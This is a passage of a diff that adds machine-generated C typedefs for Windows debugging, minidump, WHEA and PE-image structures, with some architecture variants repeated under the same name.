+ unsigned int Size; +} XSTATE_FEATURE; + +typedef struct _MINIDUMP_THREAD_EX_LIST { + unsigned int NumberOfThreads; + void* Threads[1]; +} MINIDUMP_THREAD_EX_LIST; + +typedef struct _XPF_MCE_FLAGS { + void* Anonymous; + unsigned int AsULONG; +} XPF_MCE_FLAGS; + +typedef struct _CPU_INFORMATION { + void* X86CpuInfo; + void* OtherCpuInfo; +} CPU_INFORMATION; + +typedef struct _MINIDUMP_THREAD_EX { + unsigned int ThreadId; + unsigned int SuspendCount; + unsigned int PriorityClass; + unsigned int Priority; + unsigned long long Teb; + void* Stack; + void* ThreadContext; + void* BackingStore; +} MINIDUMP_THREAD_EX; + +typedef struct _IMAGEHLP_CBA_EVENTW { + void* severity; + unsigned int code; + void* desc; + void* object; +} IMAGEHLP_CBA_EVENTW; + +typedef struct _MINIDUMP_SYSTEM_MEMORY_INFO_2 { + unsigned short Revision; + unsigned short Flags; + void* BasicInfo; + void* FileCacheInfo; + void* BasicPerfInfo; + void* PerfInfo; +} MINIDUMP_SYSTEM_MEMORY_INFO_2; + +typedef struct _MODLOAD_PDBGUID_PDBAGE { + void* PdbGuid; + unsigned int PdbAge; +} MODLOAD_PDBGUID_PDBAGE; + +typedef struct _MINIDUMP_USER_STREAM_INFORMATION { + unsigned int UserStreamCount; + void* UserStreamArray; +} MINIDUMP_USER_STREAM_INFORMATION; + +typedef struct _MINIDUMP_USER_STREAM_INFORMATION { + unsigned int UserStreamCount; + void* UserStreamArray; +} MINIDUMP_USER_STREAM_INFORMATION; + +typedef struct _IMAGE_COR20_HEADER { + unsigned int cb; + unsigned short MajorRuntimeVersion; + unsigned short MinorRuntimeVersion; + void* MetaData; + unsigned int Flags; + void* Anonymous; + void* Resources; + void* StrongNameSignature; + void* CodeManagerTable; + void* VTableFixups; + void* ExportAddressTableJumps; + void* ManagedNativeHeader; +} IMAGE_COR20_HEADER; + +typedef struct _MINIDUMP_HANDLE_DATA_STREAM { + unsigned int SizeOfHeader; + unsigned int SizeOfDescriptor; + unsigned int NumberOfDescriptors; + unsigned int Reserved; +} MINIDUMP_HANDLE_DATA_STREAM; + +typedef struct _MINIDUMP_TOKEN_INFO_HEADER { + unsigned int TokenSize; + unsigned int TokenId; + unsigned long long TokenHandle; +} MINIDUMP_TOKEN_INFO_HEADER; + +typedef struct _IMAGEHLP_SYMBOL64 { + unsigned int SizeOfStruct; + unsigned long long Address; + unsigned int Size; + unsigned int Flags; + unsigned int MaxNameLength; + unsigned char Name[1]; +} IMAGEHLP_SYMBOL64; + +typedef struct _UNWIND_HISTORY_TABLE_ENTRY { + unsigned long long ImageBase; + void* FunctionEntry; +} UNWIND_HISTORY_TABLE_ENTRY; + +typedef struct _UNWIND_HISTORY_TABLE_ENTRY { + unsigned long long ImageBase; + void* FunctionEntry; +} UNWIND_HISTORY_TABLE_ENTRY; + +typedef struct _MINIDUMP_PROCESS_VM_COUNTERS_2 { + unsigned short Revision; + unsigned short Flags; + unsigned int PageFaultCount; + unsigned long long PeakWorkingSetSize; + unsigned long long WorkingSetSize; + unsigned long long QuotaPeakPagedPoolUsage; + unsigned long long QuotaPagedPoolUsage; + unsigned long long QuotaPeakNonPagedPoolUsage; + unsigned long long QuotaNonPagedPoolUsage; + unsigned long long PagefileUsage; + unsigned long long PeakPagefileUsage; + unsigned long long PeakVirtualSize; + unsigned long long VirtualSize; + unsigned long long PrivateUsage; + unsigned long long PrivateWorkingSetSize; + unsigned long long SharedCommitUsage; + unsigned long long JobSharedCommitUsage; + unsigned long long JobPrivateCommitUsage; + unsigned long long JobPeakPrivateCommitUsage; + unsigned long long JobPrivateCommitLimit; + unsigned long long JobTotalCommitLimit; +} MINIDUMP_PROCESS_VM_COUNTERS_2; + +typedef struct _MODLOAD_DATA { + unsigned int ssize; + void* ssig; + void* data; + unsigned int size; + unsigned int flags; +} MODLOAD_DATA; + +typedef struct _MINIDUMP_USER_RECORD { + unsigned int Type; + void* Memory; +} MINIDUMP_USER_RECORD; + +typedef struct _SRCCODEINFO { + unsigned int SizeOfStruct; + void* Key; + unsigned long long ModBase; + unsigned char Obj[261]; + unsigned char FileName[261]; + unsigned int LineNumber; + unsigned long long Address; +} SRCCODEINFO; + +typedef struct _DBGHELP_DATA_REPORT_STRUCT { + void* pBinPathNonExist; + void* pSymbolPathNonExist; +} DBGHELP_DATA_REPORT_STRUCT; + +typedef struct _WHEA_DRIVER_BUFFER_SET { + unsigned int Version; + void* Data; + unsigned int DataSize; + void* SectionTypeGuid; + void* SectionFriendlyName; + void* Flags; +} WHEA_DRIVER_BUFFER_SET; + +typedef struct _WHEA_NOTIFICATION_FLAGS { + void* Anonymous; + unsigned short AsUSHORT; +} WHEA_NOTIFICATION_FLAGS; + +typedef struct _MINIDUMP_CALLBACK_INPUT { + unsigned int ProcessId; + void* ProcessHandle; + unsigned int CallbackType; + void* Anonymous; +} MINIDUMP_CALLBACK_INPUT; + +typedef struct _ADDRESS { + unsigned int Offset; + unsigned short Segment; + void* Mode; +} ADDRESS; + +typedef struct _IMAGEHLP_MODULEW { + unsigned int SizeOfStruct; + unsigned int BaseOfImage; + unsigned int ImageSize; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int NumSyms; + void* SymType; + unsigned short ModuleName[32]; + unsigned short ImageName[256]; + unsigned short LoadedImageName[256]; +} IMAGEHLP_MODULEW; + +typedef struct _MINIDUMP_HANDLE_DESCRIPTOR { + unsigned long long Handle; + unsigned int TypeNameRva; + unsigned int ObjectNameRva; + unsigned int Attributes; + unsigned int GrantedAccess; + unsigned int HandleCount; + unsigned int PointerCount; +} MINIDUMP_HANDLE_DESCRIPTOR; + +typedef struct _IMAGEHLP_SYMBOLW_PACKAGE { + void* sym; + unsigned short name[2001]; +} IMAGEHLP_SYMBOLW_PACKAGE; + +typedef struct _WOW64_DESCRIPTOR_TABLE_ENTRY { + unsigned int Selector; + void* Descriptor; +} WOW64_DESCRIPTOR_TABLE_ENTRY; + +typedef struct _IMAGE_ROM_OPTIONAL_HEADER { + unsigned short Magic; + unsigned char MajorLinkerVersion; + unsigned char MinorLinkerVersion; + unsigned int SizeOfCode; + unsigned int SizeOfInitializedData; + unsigned int SizeOfUninitializedData; + unsigned int AddressOfEntryPoint; + unsigned int BaseOfCode; + unsigned int BaseOfData; + unsigned int BaseOfBss; + unsigned int GprMask; + unsigned int CprMask[4]; + unsigned int GpValue; +} IMAGE_ROM_OPTIONAL_HEADER; + +typedef struct _MINIDUMP_MEMORY64_LIST { + unsigned long long NumberOfMemoryRanges; + unsigned long long BaseRva; + void* MemoryRanges[1]; +} MINIDUMP_MEMORY64_LIST; + +typedef struct _WHEA_ERROR_SOURCE_CONFIGURATION_DEVICE_DRIVER { + unsigned int Version; + void* SourceGuid; + unsigned short LogTag; + unsigned char Reserved[6]; + void* Initialize; + void* Uninitialize; + unsigned int MaxSectionDataLength; + unsigned int MaxSectionsPerReport; + void* CreatorId; + void* PartitionId; +} WHEA_ERROR_SOURCE_CONFIGURATION_DEVICE_DRIVER; + +typedef struct _WHEA_PCI_SLOT_NUMBER { + void* u; +} WHEA_PCI_SLOT_NUMBER; + +// SKIPPED struct ARM64_NT_NEON128: floating-point fields not supported +typedef struct _SYMBOL_INFO { + unsigned int SizeOfStruct; + unsigned int TypeIndex; + unsigned long long Reserved[2]; + unsigned int Index; + unsigned int Size; + unsigned long long ModBase; + void* Flags; + unsigned long long Value; + unsigned long long Address; + unsigned int Register; + unsigned int Scope; + unsigned int Tag; + unsigned int NameLen; + unsigned int MaxNameLen; + unsigned char Name[1]; +} SYMBOL_INFO; + +typedef struct _WHEA_XPF_NMI_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; +} WHEA_XPF_NMI_DESCRIPTOR; + +typedef struct _PAGE_OFFLINE_VALID_BITS { + void* Anonymous; + unsigned char AsUINT8; +} PAGE_OFFLINE_VALID_BITS; + +typedef struct _DIMM_ADDR_VALID_BITS { + void* VB_DDR4; + void* VB_DDR5; + unsigned int AsUINT32; +} DIMM_ADDR_VALID_BITS; + +typedef struct _CONTEXT { + void* ContextFlags; + unsigned int Cpsr; + void* Anonymous; + unsigned long long Sp; + unsigned long long Pc; + void* V[32]; + unsigned int Fpcr; + unsigned int Fpsr; + unsigned int Bcr[8]; + unsigned long long Bvr[8]; + unsigned int Wcr[2]; + unsigned long long Wvr[2]; +} CONTEXT; + +typedef struct _CONTEXT { + unsigned long long P1Home; + unsigned long long P2Home; + unsigned long long P3Home; + unsigned long long P4Home; + unsigned long long P5Home; + unsigned long long P6Home; + void* ContextFlags; + unsigned int MxCsr; + unsigned short SegCs; + unsigned short SegDs; + unsigned short SegEs; + unsigned short SegFs; + unsigned short SegGs; + unsigned short SegSs; + unsigned int EFlags; + unsigned long long Dr0; + unsigned long long Dr1; + unsigned long long Dr2; + unsigned long long Dr3; + unsigned long long Dr6; + unsigned long long Dr7; + unsigned long long Rax; + unsigned long long Rcx; + unsigned long long Rdx; + unsigned long long Rbx; + unsigned long long Rsp; + unsigned long long Rbp; + unsigned long long Rsi; + unsigned long long Rdi; + unsigned long long R8; + unsigned long long R9; + unsigned long long R10; + unsigned long long R11; + unsigned long long R12; + unsigned long long R13; + unsigned long long R14; + unsigned long long R15; + unsigned long long Rip; + void* Anonymous; + void* VectorRegister[26]; + unsigned long long VectorControl; + unsigned long long DebugControl; + unsigned long long LastBranchToRip; + unsigned long long LastBranchFromRip; + unsigned long long LastExceptionToRip; + unsigned long long LastExceptionFromRip; +} CONTEXT; + +typedef struct _CONTEXT { + void* ContextFlags; + unsigned int Dr0; + unsigned int Dr1; + unsigned int Dr2; + unsigned int Dr3; + unsigned int Dr6; + unsigned int Dr7; + void* FloatSave; + unsigned int SegGs; + unsigned int SegFs; + unsigned int SegEs; + unsigned int SegDs; + unsigned int Edi; + unsigned int Esi; + unsigned int Ebx; + unsigned int Edx; + unsigned int Ecx; + unsigned int Eax; + unsigned int Ebp; + unsigned int Eip; + unsigned int SegCs; + unsigned int EFlags; + unsigned int Esp; + unsigned int SegSs; + unsigned char ExtendedRegisters[512]; +} CONTEXT; + +typedef struct _EXCEPTION_RECORD { + int ExceptionCode; + unsigned int ExceptionFlags; + void* ExceptionRecord; + void* ExceptionAddress; + unsigned int NumberParameters; + unsigned long long ExceptionInformation[15]; +} EXCEPTION_RECORD; + +typedef struct _SRCCODEINFOW { + unsigned int SizeOfStruct; + void* Key; + unsigned long long ModBase; + unsigned short Obj[261]; + unsigned short FileName[261]; + unsigned int LineNumber; + unsigned long long Address; +} SRCCODEINFOW; + +typedef struct _MINIDUMP_THREAD_NAME_LIST { + unsigned int NumberOfThreadNames; + void* ThreadNames[1]; +} MINIDUMP_THREAD_NAME_LIST; + +typedef struct _MINIDUMP_MODULE { + unsigned long long BaseOfImage; + unsigned int SizeOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + unsigned int ModuleNameRva; + void* VersionInfo; + void* CvRecord; + void* MiscRecord; + unsigned long long Reserved0; + unsigned long long Reserved1; +} MINIDUMP_MODULE; + +typedef struct _XSTATE_CONFIG_FEATURE_MSC_INFO { + unsigned int SizeOfInfo; + unsigned int ContextSize; + unsigned long long EnabledFeatures; + void* Features[64]; +} XSTATE_CONFIG_FEATURE_MSC_INFO; + +typedef struct _MINIDUMP_MEMORY_DESCRIPTOR { + unsigned long long StartOfMemoryRange; + void* Memory; +} MINIDUMP_MEMORY_DESCRIPTOR; + +typedef struct _WOW64_CONTEXT { + void* ContextFlags; + unsigned int Dr0; + unsigned int Dr1; + unsigned int Dr2; + unsigned int Dr3; + unsigned int Dr6; + unsigned int Dr7; + void* FloatSave; + unsigned int SegGs; + unsigned int SegFs; + unsigned int SegEs; + unsigned int SegDs; + unsigned int Edi; + unsigned int Esi; + unsigned int Ebx; + unsigned int Edx; + unsigned int Ecx; + unsigned int Eax; + unsigned int Ebp; + unsigned int Eip; + unsigned int SegCs; + unsigned int EFlags; + unsigned int Esp; + unsigned int SegSs; + unsigned char ExtendedRegisters[512]; +} WOW64_CONTEXT; + +typedef struct _IMAGE_DATA_DIRECTORY { + unsigned int VirtualAddress; + unsigned int Size; +} IMAGE_DATA_DIRECTORY; + +typedef struct _OUTPUT_DEBUG_STRING_INFO { + void* lpDebugStringData; + unsigned short fUnicode; + unsigned short nDebugStringLength; +} OUTPUT_DEBUG_STRING_INFO; + +typedef struct _MINIDUMP_MEMORY_INFO { + unsigned long long BaseAddress; + unsigned long long AllocationBase; + unsigned int AllocationProtect; + unsigned int __alignment1; + unsigned long long RegionSize; + void* State; + unsigned int Protect; + unsigned int Type; + unsigned int __alignment2; +} MINIDUMP_MEMORY_INFO; + +typedef struct _MEMORY_DEFECT { + unsigned int Version; + void* DimmInfo; + void* ErrType; +} MEMORY_DEFECT; + +typedef struct _LOADED_IMAGE { + void* ModuleName; + void* hFile; + void* MappedAddress; + void* FileHeader; + void* LastRvaSection; + unsigned int NumberOfSections; + void* Sections; + void* Characteristics; + BOOL fSystemImage; + BOOL fDOSImage; + BOOL fReadOnly; + unsigned char Version; + void* Links; + unsigned int SizeOfImage; +} LOADED_IMAGE; + +typedef struct _LOADED_IMAGE { + void* ModuleName; + void* hFile; + void* MappedAddress; + void* FileHeader; + void* LastRvaSection; + unsigned int NumberOfSections; + void* Sections; + void* Characteristics; + BOOL fSystemImage; + BOOL fDOSImage; + BOOL fReadOnly; + unsigned char Version; + void* Links; + unsigned int SizeOfImage; +} LOADED_IMAGE; + +typedef struct _MINIDUMP_SYSTEM_FILECACHE_INFORMATION { + unsigned long long CurrentSize; + unsigned long long PeakSize; + unsigned int PageFaultCount; + unsigned long long MinimumWorkingSet; + unsigned long long MaximumWorkingSet; + unsigned long long CurrentSizeIncludingTransitionInPages; + unsigned long long PeakSizeIncludingTransitionInPages; + unsigned int TransitionRePurposeCount; + unsigned int Flags; +} MINIDUMP_SYSTEM_FILECACHE_INFORMATION; + +typedef struct _MINIDUMP_HEADER { + unsigned int Signature; + unsigned int Version; + unsigned int NumberOfStreams; + unsigned int StreamDirectoryRva; + unsigned int CheckSum; + void* Anonymous; + unsigned long long Flags; +} MINIDUMP_HEADER; + +typedef struct _IPMI_OS_SEL_RECORD { + unsigned int Signature; + unsigned int Version; + unsigned int Length; + void* RecordType; + unsigned int DataLength; + unsigned char Data[1]; +} IPMI_OS_SEL_RECORD; + +typedef struct _MINIDUMP_MISC_INFO_3 { + unsigned int SizeOfInfo; + unsigned int Flags1; + unsigned int ProcessId; + unsigned int ProcessCreateTime; + unsigned int ProcessUserTime; + unsigned int ProcessKernelTime; + unsigned int ProcessorMaxMhz; + unsigned int ProcessorCurrentMhz; + unsigned int ProcessorMhzLimit; + unsigned int ProcessorMaxIdleState; + unsigned int ProcessorCurrentIdleState; + unsigned int ProcessIntegrityLevel; + unsigned int ProcessExecuteFlags; + unsigned int ProtectedProcess; + unsigned int TimeZoneId; + void* TimeZone; +} MINIDUMP_MISC_INFO_3; + +typedef struct _TI_FINDCHILDREN_PARAMS { + unsigned int Count; + unsigned int Start; + unsigned int ChildId[1]; +} TI_FINDCHILDREN_PARAMS; + +typedef struct _DUMP_FILE_ATTRIBUTES { + void* Anonymous; + unsigned int Attributes; +} DUMP_FILE_ATTRIBUTES; + +typedef struct _DUMP_HEADER64 { + unsigned int Signature; + unsigned int ValidDump; + unsigned int MajorVersion; + unsigned int MinorVersion; + unsigned long long DirectoryTableBase; + unsigned long long PfnDataBase; + unsigned long long PsLoadedModuleList; + unsigned long long PsActiveProcessHead; + unsigned int MachineImageType; + unsigned int NumberProcessors; + unsigned int BugCheckCode; + unsigned long long BugCheckParameter1; + unsigned long long BugCheckParameter2; + unsigned long long BugCheckParameter3; + unsigned long long BugCheckParameter4; + unsigned char VersionUser[32]; + unsigned long long KdDebuggerDataBlock; + void* Anonymous; + unsigned char ContextRecord[3000]; + void* Exception; + unsigned int DumpType; + long long RequiredDumpSpace; + long long SystemTime; + unsigned char Comment[128]; + long long SystemUpTime; + unsigned int MiniDumpFields; + unsigned int SecondaryDataState; + unsigned int ProductType; + unsigned int SuiteMask; + unsigned int WriterStatus; + unsigned char Unused1; + unsigned char KdSecondaryVersion; + unsigned char Unused[2]; + void* Attributes; + unsigned int BootId; + unsigned char _reserved0[4008]; +} DUMP_HEADER64; + +typedef struct _MINIDUMP_UNLOADED_MODULE_LIST { + unsigned int SizeOfHeader; + unsigned int SizeOfEntry; + unsigned int NumberOfEntries; +} MINIDUMP_UNLOADED_MODULE_LIST; + +typedef struct _MINIDUMP_LOCATION_DESCRIPTOR64 { + unsigned long long DataSize; + unsigned long long Rva; +} MINIDUMP_LOCATION_DESCRIPTOR64; + +typedef struct _IMAGEHLP_SYMBOLW64_PACKAGE { + void* sym; + unsigned short name[2001]; +} IMAGEHLP_SYMBOLW64_PACKAGE; + +typedef struct _IMAGEHLP_SYMBOLW64 { + unsigned int SizeOfStruct; + unsigned long long Address; + unsigned int Size; + unsigned int Flags; + unsigned int MaxNameLength; + unsigned short Name[1]; +} IMAGEHLP_SYMBOLW64; + +typedef struct _XSAVE_AREA_HEADER { + unsigned long long Mask; + unsigned long long CompactionMask; + unsigned long long Reserved2[6]; +} XSAVE_AREA_HEADER; + +typedef struct _WAITCHAIN_NODE_INFO { + void* ObjectType; + void* ObjectStatus; + void* Anonymous; +} WAITCHAIN_NODE_INFO; + +typedef struct _MINIDUMP_THREAD { + unsigned int ThreadId; + unsigned int SuspendCount; + unsigned int PriorityClass; + unsigned int Priority; + unsigned long long Teb; + void* Stack; + void* ThreadContext; +} MINIDUMP_THREAD; + +typedef struct _EXIT_THREAD_DEBUG_INFO { + unsigned int dwExitCode; +} EXIT_THREAD_DEBUG_INFO; + +typedef struct _STACKFRAME { + void* AddrPC; + void* AddrReturn; + void* AddrFrame; + void* AddrStack; + void* FuncTableEntry; + unsigned int Params[4]; + BOOL Far; + BOOL Virtual; + unsigned int Reserved[3]; + void* KdHelp; + void* AddrBStore; +} STACKFRAME; + +typedef struct _WHEA_XPF_CMC_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; + unsigned char NumberOfBanks; + unsigned int Reserved; + void* Notify; + void* Banks[32]; +} WHEA_XPF_CMC_DESCRIPTOR; + +typedef struct _MINIDUMP_THREAD_INFO { + unsigned int ThreadId; + void* DumpFlags; + unsigned int DumpError; + unsigned int ExitStatus; + unsigned long long CreateTime; + unsigned long long ExitTime; + unsigned long long KernelTime; + unsigned long long UserTime; + unsigned long long StartAddress; + unsigned long long Affinity; +} MINIDUMP_THREAD_INFO; + +typedef struct _MINIDUMP_SYSTEM_MEMORY_INFO_1 { + unsigned short Revision; + unsigned short Flags; + void* BasicInfo; + void* FileCacheInfo; + void* BasicPerfInfo; + void* PerfInfo; +} MINIDUMP_SYSTEM_MEMORY_INFO_1; + +typedef struct _PHYSICAL_MEMORY_RUN32 { + unsigned int BasePage; + unsigned int PageCount; +} PHYSICAL_MEMORY_RUN32; + +typedef struct _API_VERSION { + unsigned short MajorVersion; + unsigned short MinorVersion; + unsigned short Revision; + unsigned short Reserved; +} API_VERSION; + +typedef struct _IMAGEHLP_MODULE64_EX { + void* Module; + unsigned int RegionFlags; +} IMAGEHLP_MODULE64_EX; + +typedef struct _XPF_MC_BANK_FLAGS { + void* Anonymous; + unsigned char AsUCHAR; +} XPF_MC_BANK_FLAGS; + +typedef struct _IMAGE_FUNCTION_ENTRY64 { + unsigned long long StartingAddress; + unsigned long long EndingAddress; + void* Anonymous; +} IMAGE_FUNCTION_ENTRY64; + +typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOAD { + unsigned int SizeOfStruct; + unsigned int BaseOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + unsigned char FileName[260]; + BOOL Reparse; + void* hFile; +} IMAGEHLP_DEFERRED_SYMBOL_LOAD; + +typedef struct _IMAGEHLP_CBA_EVENT { + void* severity; + unsigned int code; + void* desc; + void* object; +} IMAGEHLP_CBA_EVENT; + +typedef struct _DISCRIMINATEDUNION_TAG_VALUE { + unsigned char value[16]; + unsigned char valueSizeBytes; +} DISCRIMINATEDUNION_TAG_VALUE; + +typedef struct _DISPATCHER_CONTEXT { + unsigned long long ControlPc; + unsigned long long ImageBase; + void* FunctionEntry; + unsigned long long EstablisherFrame; + unsigned long long TargetPc; + void* ContextRecord; + void* LanguageHandler; + void* HandlerData; + void* HistoryTable; + unsigned int ScopeIndex; + BOOL ControlPcIsUnwound; + void* NonVolatileRegisters; +} DISPATCHER_CONTEXT; + +typedef struct _DISPATCHER_CONTEXT { + unsigned long long ControlPc; + unsigned long long ImageBase; + void* FunctionEntry; + unsigned long long EstablisherFrame; + unsigned long long TargetIp; + void* ContextRecord; + void* LanguageHandler; + void* HandlerData; + void* HistoryTable; + unsigned int ScopeIndex; + unsigned int Fill0; +} DISPATCHER_CONTEXT; + +typedef struct _IMAGE_COFF_SYMBOLS_HEADER { + unsigned int NumberOfSymbols; + unsigned int LvaToFirstSymbol; + unsigned int NumberOfLinenumbers; + unsigned int LvaToFirstLinenumber; + unsigned int RvaToFirstByteOfCode; + unsigned int RvaToLastByteOfCode; + unsigned int RvaToFirstByteOfData; + unsigned int RvaToLastByteOfData; +} IMAGE_COFF_SYMBOLS_HEADER; + +typedef struct _MINIDUMP_LOCATION_DESCRIPTOR { + unsigned int DataSize; + unsigned int Rva; +} MINIDUMP_LOCATION_DESCRIPTOR; + +typedef struct _STACKFRAME_EX { + void* AddrPC; + void* AddrReturn; + void* AddrFrame; + void* AddrStack; + void* AddrBStore; + void* FuncTableEntry; + unsigned long long Params[4]; + BOOL Far; + BOOL Virtual; + unsigned long long Reserved[3]; + void* KdHelp; + unsigned int StackFrameSize; + unsigned int InlineFrameContext; +} STACKFRAME_EX; + +typedef struct _MINIDUMP_CALLBACK_INFORMATION { + void* CallbackRoutine; + void* CallbackParam; +} MINIDUMP_CALLBACK_INFORMATION; + +typedef struct _MINIDUMP_CALLBACK_INFORMATION { + void* CallbackRoutine; + void* CallbackParam; +} MINIDUMP_CALLBACK_INFORMATION; + +typedef struct _IMAGEHLP_STACK_FRAME { + unsigned long long InstructionOffset; + unsigned long long ReturnOffset; + unsigned long long FrameOffset; + unsigned long long StackOffset; + unsigned long long BackingStoreOffset; + unsigned long long FuncTableEntry; + unsigned long long Params[4]; + unsigned long long Reserved[5]; + BOOL Virtual; + unsigned int Reserved2; +} IMAGEHLP_STACK_FRAME; + +typedef struct _MINIDUMP_SYSTEM_BASIC_PERFORMANCE_INFORMATION { + unsigned long long AvailablePages; + unsigned long long CommittedPages; + unsigned long long CommitLimit; + unsigned long long PeakCommitment; +} MINIDUMP_SYSTEM_BASIC_PERFORMANCE_INFORMATION; + +typedef struct _MINIDUMP_HANDLE_OBJECT_INFORMATION { + unsigned int NextInfoRva; + unsigned int InfoType; + unsigned int SizeOfInfo; +} MINIDUMP_HANDLE_OBJECT_INFORMATION; + +typedef struct _PHYSICAL_MEMORY_RUN64 { + unsigned long long BasePage; + unsigned long long PageCount; +} PHYSICAL_MEMORY_RUN64; + +typedef struct _IMAGEHLP_LINEW { + unsigned int SizeOfStruct; + void* Key; + unsigned int LineNumber; + void* FileName; + unsigned long long Address; +} IMAGEHLP_LINEW; + +typedef struct _WHEA_AER_ROOTPORT_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; + unsigned char Reserved; + unsigned int BusNumber; + void* Slot; + unsigned short DeviceControl; + void* Flags; + unsigned int UncorrectableErrorMask; + unsigned int UncorrectableErrorSeverity; + unsigned int CorrectableErrorMask; + unsigned int AdvancedCapsAndControl; + unsigned int RootErrorCommand; +} WHEA_AER_ROOTPORT_DESCRIPTOR; + +typedef struct _LOAD_DLL_DEBUG_INFO { + void* hFile; + void* lpBaseOfDll; + unsigned int dwDebugInfoFileOffset; + unsigned int nDebugInfoSize; + void* lpImageName; + unsigned short fUnicode; +} LOAD_DLL_DEBUG_INFO; + +typedef struct _WHEA_ERROR_SOURCE_CONFIGURATION_DEVICE_DRIVER_V1 { + unsigned int Version; + void* SourceGuid; + unsigned short LogTag; + unsigned char Reserved[6]; + void* Initialize; + void* Uninitialize; +} WHEA_ERROR_SOURCE_CONFIGURATION_DEVICE_DRIVER_V1; + +typedef struct _DUMP_HEADER32 { + unsigned int Signature; + unsigned int ValidDump; + unsigned int MajorVersion; + unsigned int MinorVersion; + unsigned int DirectoryTableBase; + unsigned int PfnDataBase; + unsigned int PsLoadedModuleList; + unsigned int PsActiveProcessHead; + unsigned int MachineImageType; + unsigned int NumberProcessors; + unsigned int BugCheckCode; + unsigned int BugCheckParameter1; + unsigned int BugCheckParameter2; + unsigned int BugCheckParameter3; + unsigned int BugCheckParameter4; + unsigned char VersionUser[32]; + unsigned char PaeEnabled; + unsigned char KdSecondaryVersion; + unsigned char Spare3[2]; + unsigned int KdDebuggerDataBlock; + void* Anonymous; + unsigned char ContextRecord[1200]; + void* Exception; + unsigned char Comment[128]; + void* Attributes; + unsigned int BootId; + unsigned char _reserved0[1760]; + unsigned int DumpType; + unsigned int MiniDumpFields; + unsigned int SecondaryDataState; + unsigned int ProductType; + unsigned int SuiteMask; + unsigned int WriterStatus; + long long RequiredDumpSpace; + unsigned char _reserved2[16]; + long long SystemUpTime; + long long SystemTime; + unsigned char _reserved3[56]; +} DUMP_HEADER32; + +typedef struct _MINIDUMP_SYSTEM_INFO { + void* ProcessorArchitecture; + unsigned short ProcessorLevel; + unsigned short ProcessorRevision; + void* Anonymous1; + unsigned int MajorVersion; + unsigned int MinorVersion; + unsigned int BuildNumber; + void* PlatformId; + unsigned int CSDVersionRva; + void* Anonymous2; + void* Cpu; +} MINIDUMP_SYSTEM_INFO; + +typedef struct _XSAVE_FORMAT { + unsigned short ControlWord; + unsigned short StatusWord; + unsigned char TagWord; + unsigned char Reserved1; + unsigned short ErrorOpcode; + unsigned int ErrorOffset; + unsigned short ErrorSelector; + unsigned short Reserved2; + unsigned int DataOffset; + unsigned short DataSelector; + unsigned short Reserved3; + unsigned int MxCsr; + unsigned int MxCsr_Mask; + void* FloatRegisters[8]; + void* XmmRegisters[16]; + unsigned char Reserved4[96]; +} XSAVE_FORMAT; + +typedef struct _XSAVE_FORMAT { + unsigned short ControlWord; + unsigned short StatusWord; + unsigned char TagWord; + unsigned char Reserved1; + unsigned short ErrorOpcode; + unsigned int ErrorOffset; + unsigned short ErrorSelector; + unsigned short Reserved2; + unsigned int DataOffset; + unsigned short DataSelector; + unsigned short Reserved3; + unsigned int MxCsr; + unsigned int MxCsr_Mask; + void* FloatRegisters[8]; + void* XmmRegisters[8]; + unsigned char Reserved4[224]; +} XSAVE_FORMAT; + +typedef struct _IMAGE_DEBUG_INFORMATION { + void* List; + unsigned int ReservedSize; + void* ReservedMappedBase; + unsigned short ReservedMachine; + unsigned short ReservedCharacteristics; + unsigned int ReservedCheckSum; + unsigned int ImageBase; + unsigned int SizeOfImage; + unsigned int ReservedNumberOfSections; + void* ReservedSections; + unsigned int ReservedExportedNamesSize; + void* ReservedExportedNames; + unsigned int ReservedNumberOfFunctionTableEntries; + void* ReservedFunctionTableEntries; + unsigned int ReservedLowestFunctionStartingAddress; + unsigned int ReservedHighestFunctionEndingAddress; + unsigned int ReservedNumberOfFpoTableEntries; + void* ReservedFpoTableEntries; + unsigned int SizeOfCoffSymbols; + void* CoffSymbols; + unsigned int ReservedSizeOfCodeViewSymbols; + void* ReservedCodeViewSymbols; + void* ImageFilePath; + void* ImageFileName; + void* ReservedDebugFilePath; + unsigned int ReservedTimeDateStamp; + BOOL ReservedRomImage; + void* ReservedDebugDirectory; + unsigned int ReservedNumberOfDebugDirectories; + unsigned int ReservedOriginalFunctionTableBaseAddress; + unsigned int Reserved[2]; +} IMAGE_DEBUG_INFORMATION; + +typedef struct _MINIDUMP_THREAD_LIST { + unsigned int NumberOfThreads; + void* Threads[1]; +} MINIDUMP_THREAD_LIST; + +typedef struct _IMAGEHLP_LINEW64 { + unsigned int SizeOfStruct; + void* Key; + unsigned int LineNumber; + void* FileName; + unsigned long long Address; +} IMAGEHLP_LINEW64; + +typedef struct _IMAGE_SECTION_HEADER { + unsigned char Name[8]; + void* Misc; + unsigned int VirtualAddress; + unsigned int SizeOfRawData; + unsigned int PointerToRawData; + unsigned int PointerToRelocations; + unsigned int PointerToLinenumbers; + unsigned short NumberOfRelocations; + unsigned short NumberOfLinenumbers; + void* Characteristics; +} IMAGE_SECTION_HEADER; + +typedef struct _IMAGE_LOAD_CONFIG_DIRECTORY64 { + unsigned int Size; + unsigned int TimeDateStamp; + unsigned short MajorVersion; + unsigned short MinorVersion; + unsigned int GlobalFlagsClear; + unsigned int GlobalFlagsSet; + unsigned int CriticalSectionDefaultTimeout; + unsigned long long DeCommitFreeBlockThreshold; + unsigned long long DeCommitTotalFreeThreshold; + unsigned long long LockPrefixTable; + unsigned long long MaximumAllocationSize; + unsigned long long VirtualMemoryThreshold; + unsigned long long ProcessAffinityMask; + unsigned int ProcessHeapFlags; + unsigned short CSDVersion; + unsigned short DependentLoadFlags; + unsigned long long EditList; + unsigned long long SecurityCookie; + unsigned long long SEHandlerTable; + unsigned long long SEHandlerCount; + unsigned long long GuardCFCheckFunctionPointer; + unsigned long long GuardCFDispatchFunctionPointer; + unsigned long long GuardCFFunctionTable; + unsigned long long GuardCFFunctionCount; + unsigned int GuardFlags; + void* CodeIntegrity; + unsigned long long GuardAddressTakenIatEntryTable; + unsigned long long GuardAddressTakenIatEntryCount; + unsigned long long GuardLongJumpTargetTable; + unsigned long long GuardLongJumpTargetCount; + unsigned long long DynamicValueRelocTable; + unsigned long long CHPEMetadataPointer; + unsigned long long GuardRFFailureRoutine; + unsigned long long GuardRFFailureRoutineFunctionPointer; + unsigned int DynamicValueRelocTableOffset; + 